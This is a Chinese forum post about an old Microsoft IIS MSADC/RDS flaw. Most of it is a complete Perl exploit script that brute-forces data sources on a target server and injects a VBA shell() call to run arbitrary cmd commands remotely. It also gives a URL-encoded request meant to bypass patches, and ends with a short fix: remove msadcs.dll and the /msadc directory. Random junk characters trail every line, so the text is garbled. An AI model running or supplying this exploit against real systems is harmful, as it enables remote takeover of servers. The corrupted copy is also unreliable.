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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 1c}LX.9K  
wb/@g=` d  
涉及程序:  eAbp5}B  
Microsoft NT server u4.2u}A/R%  
Q@? {|7:  
描述: #tlhH\Pr[  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 uw9w{3]0f  
@w@ `-1  
详细: @1iH4RE*  
如果你没有时间读详细内容的话,就删除: \6K1Z!*;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll @RFJe$%  
有关的安全问题就没有了。 oAxCI/  
[rtMx8T  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 k|[86<&[  
.[>UkM0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >'2=3L^Q  
关于利用ODBC远程漏洞的描述,请参看: uE:`Fo=y  
fd*<m8  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;0]s:0WD0P  
:tcqb2p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 _cD-E.E%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp #i}:CI>2  
:ej`]yK |  
这里不再论述。 e[*%tx H  
m00 5*>IY  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: $%0A#&DVh  
)5U2-g#U  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DYaOlT(rE  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o&U/e\zy  
Cy'! >  
Ur2) ];WZ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 73>Hzpv0  
1n )&%r  
#!perl !DNk!]|  
# V( SRw  
# MSADC/RDS 'usage' (aka exploit) script l6k.`1.In  
# N2e]S8-  
# by rain.forest.puppy `*HM5 1U  
# "|W``&pM  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me XI58Cy*!  
# beta test and find errors! g,d'&r"JWt  
b{hdEb  
use Socket; use Getopt::Std; wQw y+S  
getopts("e:vd:h:XR", \%args); %E`=c]!  
Q"b62+03  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |FxTP&8~  
|g8Q.*"l[  
if (!defined $args{h} && !defined $args{R}) { f`"@7-N  
print qq~ n`2LGc[rP  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `]4bH,%~  
-h <host> = host you want to scan (ip or domain) T +~ _D  
-d <seconds> = delay between calls, default 1 second mM)d`br  
-X = dump Index Server path table, if available |FH|l#bu>  
-v = verbose cy!;;bB  
-e = external dictionary file for step 5 FG6mh,C!  
xr).ZswQ  
Or a -R will resume a command session `} :~,E  
,G!mO,DX  
~; exit;} u<K{=94!e  
0rj50$~$]  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Xhm)K3RA*T  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #CTHCwYo  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} /eNDv(g)M  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  Jyo(Etp  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} T@\%h8@~]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } "%]vSr  
fVx_]5jM  
if (!defined $args{R}){ $ret = &has_msadc; Q2nqA1sRk  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} X6k-a;  
2r>I,TNHl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" )w'GnUqWz  
. "cmd /c "; M5<c HE  
$in=<STDIN>; chomp $in; Spt;m0W90  
$command="cmd /c " . $in ; +W[NgUrGJ  
{;E]#=|  
if (defined $args{R}) {&load; exit;} U.p"JSH L  
"=vH,_"Ql  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; y?.l9  
&try_btcustmr; ;P!x/Ct  
r>3y87  
print "\nStep 2: Trying to make our own DSN..."; 1@{qPmf^  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; J!@`tR-  
4+'d">+|  
print "\nStep 3: Trying known DSNs..."; jRYW3a_7  
&known_dsn; .rs\%M|X  
(YKkJ  
print "\nStep 4: Trying known .mdbs...";  '  
&known_mdb; z]bcg$m  
=Xh*w  
if (defined $args{e}){ c},wW@SF2W  
print "\nStep 5: Trying dictionary of DSN names..."; 6 P U]I+  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^F4h:  
bA8RoC  
print "Sorry Charley...maybe next time?\n"; RI#o9d"x}  
exit; Z@ZSn0  
pIP ^/H  
############################################################################## @w{"6xc%a  
&JHqUVs^  
sub sendraw { # ripped and modded from whisker ypV>*  
sleep($delay); # it's a DoS on the server! At least on mine... '7(oCab"_  
my ($pstr)=@_; *nc9 u"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #xBh62yIuP  
die("Socket problems\n"); D|Raj\R  
if(connect(S,pack "SnA4x8",2,80,$target)){ QDpzIjJj  
select(S); $|=1; aYd`E4S+  
print $pstr; my @in=<S>; YCnKX<Wv  
select(STDOUT); close(S); X;%*+xQ^  
return @in; V.^Z)iNf^  
} else { die("Can't connect...\n"); }} GG$&=.$  
V/W{d[86G  
############################################################################## 0$\ j  
I4\ c+f9  
sub make_header { # make the HTTP request fNaboNj[  
my $msadc=<<EOT v!77dj 6I  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WpPI6bd  
User-Agent: ACTIVEDATA ".:]? Lvt  
Host: $ip n+%tu"e  
Content-Length: $clen cL yed3uU  
Connection: Keep-Alive fZF.eRP '  
Kb,#Ot  
ADCClientVersion:01.06 (Q~ (t  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 yOr5kWqX  
>a$b4 pvh  
--!ADM!ROX!YOUR!WORLD! nMU[S +  
Content-Type: application/x-varg 'e5,%"5(c  
Content-Length: $reqlen Fb&WwGY,P  
cNvh2JI  
EOT zPt0IB_j'  
; $msadc=~s/\n/\r\n/g; UV j1nom   
return $msadc;} :Co+haW  
)3A%Un#B  
############################################################################## -VPda @@w  
Z&j?@k,k  
sub make_req { # make the RDS request ; 6*Ag#Z  
my ($switch, $p1, $p2)=@_; JDj^7\`  
my $req=""; my $t1, $t2, $query, $dsn; VaLl$w  
|dI,4Z\Qb  
if ($switch==1){ # this is the btcustmr.mdb query #,PB(  
$query="Select * from Customers where City=" . make_shell(); fw+ VR.#2H  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . > J>|+W  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F|{F'UXj|  
1H]E:Bq  
elsif ($switch==2){ # this is general make table query &RbT&  
$query="create table AZZ (B int, C varchar(10))"; |?Bb{Es  
$dsn="$p1";} aT`. e  
rJqRzF{|P6  
elsif ($switch==3){ # this is general exploit table query >S=,ype~G  
$query="select * from AZZ where C=" . make_shell(); rtY4 B~_  
$dsn="$p1";} ]/y69ou  
~u+|NtF  
elsif ($switch==4){ # attempt to hork file info from index server ^#)M,.G^  
$query="select path from scope()"; }}MZgm~U)  
$dsn="Provider=MSIDXS;";} AagWswv{Bf  
8j<+ ' R  
elsif ($switch==5){ # bad query 9o|#R&0  
$query="select"; \B1<fF2  
$dsn="$p1";} Kt/Wd  
^":Dk5gl  
$t1= make_unicode($query); PP_fTacX  
$t2= make_unicode($dsn); !-Br?  
$req = "\x02\x00\x03\x00"; j~VHU89  
$req.= "\x08\x00" . pack ("S1", length($t1)); `.F+T)G  
$req.= "\x00\x00" . $t1 ; PML +$  
$req.= "\x08\x00" . pack ("S1", length($t2)); j+7ok 5J#  
$req.= "\x00\x00" . $t2 ; ZFO*D79:K  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;)gNe:Q  
return $req;} _rjLCvv-  
r]'Q5l4j6"  
############################################################################## /aHx'TG  
h&$,mbEoI  
sub make_shell { # this makes the shell() statement wc7F45l4  
return "'|shell(\"$command\")|'";} *zn=l+c  
^tY$pPA  
############################################################################## I7/X6^/}  
/'g"Ys?3  
sub make_unicode { # quick little function to convert to unicode y.m;4((  
my ($in)=@_; my $out; S+Vsy(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Yiy|^j  
return $out;} sg!* %*XQ  
D"RxI)"HP  
############################################################################## ~A =?_5kJ  
SP |R4*KY  
sub rdo_success { # checks for RDO return success (this is kludge) wM#BQe3t#  
my (@in) = @_; my $base=content_start(@in); sM8AORd  
if($in[$base]=~/multipart\/mixed/){ vhaUV#V"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} zgR@-OtFZ  
return 0;} a{%]X(';  
oHI/tS4 _  
############################################################################## </B5^}  
Jb4A!g5C  
sub make_dsn { # this makes a DSN for us Z/>0P* F  
my @drives=("c","d","e","f"); *)H&n>"e  
print "\nMaking DSN: "; Vn1hr;i]  
foreach $drive (@drives) { 7gY^aMW  
print "$drive: "; d[Lr`=L;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,) JSX o  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 7TN94@kCF  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); t4E=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; WJN}d-S=^  
return 0 if $2 eq "404"; # not found/doesn't exist h]z>H~.<*  
if($2 eq "200") { , BCo/j  
foreach $line (@results) { +m8gS;'R4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} N>J"^GX  
} return 0;} ={a_?l%  
'5n67Hl 1  
############################################################################## (xhwl=MX)  
:5M7*s)e16  
sub verify_exists { dfoFs&CSKh  
my ($page)=@_; `!$I6KxT  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :n?K[f?LfY  
return $results[0];} z}[qk:  
{Z=m5Dy}  
############################################################################## &QL!Y{=Y6  
l[J'FR:  
sub try_btcustmr { vHz]-Q-|9  
my @drives=("c","d","e","f"); m+m,0Ey5H  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8Qg,UX  
A+Xk=k5<  
foreach $dir (@dirs) { #=hI}%n  
print "$dir -> "; # fun status so you can see progress $SmmrM  
foreach $drive (@drives) { {,aI0bw;  
print "$drive: "; # ditto 7>`VZ?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *NDM{WB|)  
$reqlenlen=length( "$reqlen" ); *4tJ|m6"Y6  
$clen= 206 + $reqlenlen + $reqlen; ~yvOR`2Gg  
pwvcH3l/r  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); '~ {xn  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Lz9t9AoB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} utvZ<zz`  
4mY(*2:HC  
############################################################################## 1L=6Z2*fB4  
UHEn+Tc>  
sub odbc_error { =tv,B3Mo  
my (@in)=@_; my $base; CK+GD "Z$  
my $base = content_start(@in); ! awfxH0  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this AGN5=K*D  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $rh{f<  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NZyGC Vh@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R]7-6  
return $in[$base+4].$in[$base+5].$in[$base+6];} z$>_c "D  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ZE*m;  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . PmGW\E[ni  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hF!t{ Lf3  
v3i]z9`  
############################################################################## E.kjYIH8  
uWYI p\NN  
sub verbose { xjOj1Hv  
my ($in)=@_; MxY~(TVPK  
return if !$verbose; '$3]U5KOwK  
print STDOUT "\n$in\n";} cv b:FK  
+hIStA  
############################################################################## \+cU}  
x)SW1U3TVx  
sub save { G Uf[Dz  
my ($p1, $p2, $p3, $p4)=@_; gqje]Zc<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; to1{7q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >_Dq)n;%  
close OUT;} {1Z`'.FU  
$EB&]t+  
############################################################################## k(oHmw  
. _5g<aw;  
sub load { V^P]QQ\ )  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; )@xHL]!5m  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); GIt~"X  
@p=<IN>; close(IN); "Z&-:1tP{9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #S/]=D  
$target= inet_aton($ip) || die("inet_aton problems"); 0Jh^((i*  
print "Resuming to $ip ..."; 1 XAXokxj  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; :D>afC8,  
if($p[1]==1) { (hB&OP5Fne  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; -Cjc~{B>7X  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 2Qqk?;^ 1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); kgX"LQh;[G  
if (rdo_success(@results)){print "Success!\n";} w(QU'4~  
else { print "failed\n"; verbose(odbc_error(@results));}} Z.b}   
elsif ($p[1]==3){ iwnctI  
if(run_query("$p[3]")){ G`B e~NU  
print "Success!\n";} else { print "failed\n"; }} tSVN}~1\  
elsif ($p[1]==4){ cY|?iEVs)  
if(run_query($drvst . "$p[3]")){ +0016UgS#  
print "Success!\n"; } else { print "failed\n"; }} NW'rqgG  
exit;} K85;7R5  
!1tHg Z2\  
############################################################################## }7>r,  
)Jx+R ;Z  
sub create_table { )T1U!n?^x  
my ($in)=@_; -kh O4,  
$reqlen=length( make_req(2,$in,"") ) - 28; QkXnXu  
$reqlenlen=length( "$reqlen" ); 9Ij=~p]p  
$clen= 206 + $reqlenlen + $reqlen; 8\?7k  
my @results=sendraw(make_header() . make_req(2,$in,"")); z+K-aj w  
return 1 if rdo_success(@results); .5ap9li]  
my $temp= odbc_error(@results); verbose($temp); B \U9F5  
return 1 if $temp=~/Table 'AZZ' already exists/; U[EM<5@I  
return 0;} TBN0uk  
hjVct r  
############################################################################## x=g=e <_  
RKu'WD?sdH  
sub known_dsn { 2sj[hI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ^t&S?_DSZ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Q k e8BRBn  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Bb 5|+b P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); t6GL/M4  
*C81DQ  
foreach $dSn (@dsns) { 9 )1 8  
print "."; =IQ+9Fl2  
next if (!is_access("DSN=$dSn")); q6 h'=By  
if(create_table("DSN=$dSn")){ "@1e0`n Q  
print "$dSn successful\n"; P|> fO'  
if(run_query("DSN=$dSn")){ Yv?nw-HM  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sb Wn1 T U  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9`P<|(  
'- >%b  
############################################################################## _g|zDi^  
"~R,%sYb(  
sub is_access { f}JiYZ  
my ($in)=@_; {9kH<,PJ;!  
$reqlen=length( make_req(5,$in,"") ) - 28; S]E1+,-*  
$reqlenlen=length( "$reqlen" ); `0 .<  
$clen= 206 + $reqlenlen + $reqlen; Y}<w)b1e|  
my @results=sendraw(make_header() . make_req(5,$in,"")); uhi(Gny.  
my $temp= odbc_error(@results); J*Dt\[X  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); c418TjO;  
return 0;} _l`d+ \#  
UF3g]>*  
############################################################################## 4~mYj@lvd  
WmO.&zp  
sub run_query { BI\ )vr$  
my ($in)=@_; ]JQ7x[  
$reqlen=length( make_req(3,$in,"") ) - 28; : +Na8\d  
$reqlenlen=length( "$reqlen" ); DQC=f8  
$clen= 206 + $reqlenlen + $reqlen; +Bg$]~ T  
my @results=sendraw(make_header() . make_req(3,$in,"")); Lnin;0~{  
return 1 if rdo_success(@results); i3bH^WwE&k  
my $temp= odbc_error(@results); verbose($temp); ?b?6/_W~R  
return 0;} ,/?7sHK-0  
Y>Oh]?  
############################################################################## K4 \{G  
rI/;L<c  
sub known_mdb { ~#z8Q{!O  
my @drives=("c","d","e","f","g"); 4+rr3 $AY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bXVH7Fy  
my $dir, $drive, $mdb; F];"d0O#5  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z_Em%X  
[1+ o  
# this is sparse, because I don't know of many [BPK0  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4R 9lA  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 'Z(KE2&?  
"\\system32\\certmdb.mdb", ?T]` X  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Gjhpi5?%8  
'R'P^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Yp*Dd}n`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", uY{zZ4iw  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }BTK+Tk8  
"\\cfusion\\cfapps\\security\\realm_.mdb", Un [olp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", s"hSn_m  
"\\cfusion\\database\\cfexamples.mdb", \"L ;Ct 8  
"\\cfusion\\database\\cfsnippets.mdb", e70#"~gt[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", /y8=r"'G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", #~3$4j2U(y  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  4RPc&%  
"\\cfusion\\database\\smpolicy.mdb", o!nw/7|  
"\\cfusion\\database\cypress.mdb", YJBlF2uD  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", s|p,UK  
"\\website\\cgi-win\\dbsample.mdb", 1~J:hjKQ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", DdU T"%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" YkOl@l$D  
); #these are just ]H ze  
foreach $drive (@drives) { Ue:LKK1Gsr  
foreach $dir (@dirs){ ~3f`=r3/.  
foreach $mdb (@sysmdbs) { <1t.f}}uX  
print "."; 6wIo95`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JQi+y;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; UweXz.x7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ QCm93YZs6E  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;  "! -  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |hx"yy'ux  
NOC8h\s}(  
foreach $drive (@drives) { {RG4m{#9  
foreach $mdb (@mdbs) { v'0WE  
print "."; sBN"eHg  
if(create_table($drv . $drive . $dir . $mdb)){ p$5uS=:4`8  
print "\n" . $drive . $dir . $mdb . " successful\n"; wSy|h*a,  
if(run_query($drv . $drive . $dir . $mdb)){ x9QUo*MT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; y\a@'LFL  
} else { print "Something's borked. Use verbose next time\n"; }}}} t@#+vs@  
} 5 )A(q\  
A_8UPGh8  
############################################################################## P\jnht  
_*K=Z,a;\  
sub hork_idx { fT]hpoJl  
print "\nAttempting to dump Index Server tables...\n"; |M8FMH[_  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ;u:A:Y4V  
$reqlen=length( make_req(4,"","") ) - 28; ~J~@mE2ks  
$reqlenlen=length( "$reqlen" ); xE$>;30b_  
$clen= 206 + $reqlenlen + $reqlen; L=7Y~aL=  
my @results=sendraw2(make_header() . make_req(4,"","")); y cT@ D/  
if (rdo_success(@results)){ nj90`O.K  
my $max=@results; my $c; my %d; Z.^DJ9E<1  
for($c=19; $c<$max; $c++){ ";kwh8wB  
$results[$c]=~s/\x00//g; g6AEMer  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; PZ#\O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +#;t.&\80N  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Z=[qaJ{]  
$d{"$1$2"}="";} r$8(Q'  
foreach $c (keys %d){ print "$c\n"; } V4["+Y  
} else {print "Index server doesn't seem to be installed.\n"; }} n]3Lqe;  
D+nKQ4  
############################################################################## M]5)u=}S-  
;hf{B7  
sub dsn_dict { !7rk>YrY  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ES4[@RX  
while(<IN>){ zl]Ic' _i  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (WCczXm)  
next if (!is_access("DSN=$dSn")); -`f 1l8LD2  
if(create_table("DSN=$dSn")){ n_ 3g  
print "$dSn successful\n"; =<BPoGs5  
if(run_query("DSN=$dSn")){ S9 p*rk ~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ' ?4 \  
print "Something's borked. Use verbose next time\n";}}} dmB _`R  
print "\n"; close(IN);} KUV(vAY,  
pW7#&@AR  
############################################################################## 5bj9S  
 Zra P\?  
sub sendraw2 { # ripped and modded from whisker pu"m(9  
sleep($delay); # it's a DoS on the server! At least on mine... U } K]W>Z  
my ($pstr)=@_; M?gc&2 Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G7qB   
die("Socket problems\n"); pdw;SIoC  
if(connect(S,pack "SnA4x8",2,80,$target)){ |//D|-2  
print "Connected. Getting data"; PHxU6UPqy  
open(OUT,">raw.out"); my @in; FQlYCb  
select(S); $|=1; print $pstr; -$2B!#]3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e{Y8m Xu  
close(OUT); select(STDOUT); close(S); return @in; JK%UaEut=  
} else { die("Can't connect...\n"); }} .:~{+ <*`  
(drDC1\  
############################################################################## EGL7z`nt  
zObrp  
sub content_start { # this will take in the server headers # 0* oj/  
my (@in)=@_; my $c; JS!`eO/8  
for ($c=1;$c<500;$c++) { -"CXBKHb  
if($in[$c] =~/^\x0d\x0a/){ CMiE$yC  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 2(i@\dZCb<  
else { return $c+1; }}} } %bP9  
return -1;} # it should never get here actually _SQQS67fu"  
g7l?/p[n  
############################################################################## 6k=*O|r  
"9v4'"  
sub funky { ]aZ3_<b  
my (@in)=@_; my $error=odbc_error(@in); `9`T,uJe  
if($error=~/ADO could not find the specified provider/){ _'}Mg7,V  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; q; ?Kmk  
exit;} />X"' G  
if($error=~/A Handler is required/){ SZVAf|]Yg  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7Eo;TNbb  
exit;} %7v!aJ40  
if($error=~/specified Handler has denied Access/){ s?yl4\]Muf  
print "\nServer has custom handler filters (they most likely are patched)\n"; ])9|j  
exit;}} VprrklZ  
x4N*P  
############################################################################## =JGL~t?  
@c -| Sl  
sub has_msadc { 0F-%C>&g  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); EEp~\^ -  
my $base=content_start(@results); PNB E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gWGh:.*T  
return 0;} W @]t  
jr2wK?LbB  
######################## Fzk%eHG=  
Koi-b  
2{9%E6%#  
解决方案: 2]V&]s8Wi=  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll DyCnL@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8zrLl:{  
^US ol/  
拿出来充数 哈哈
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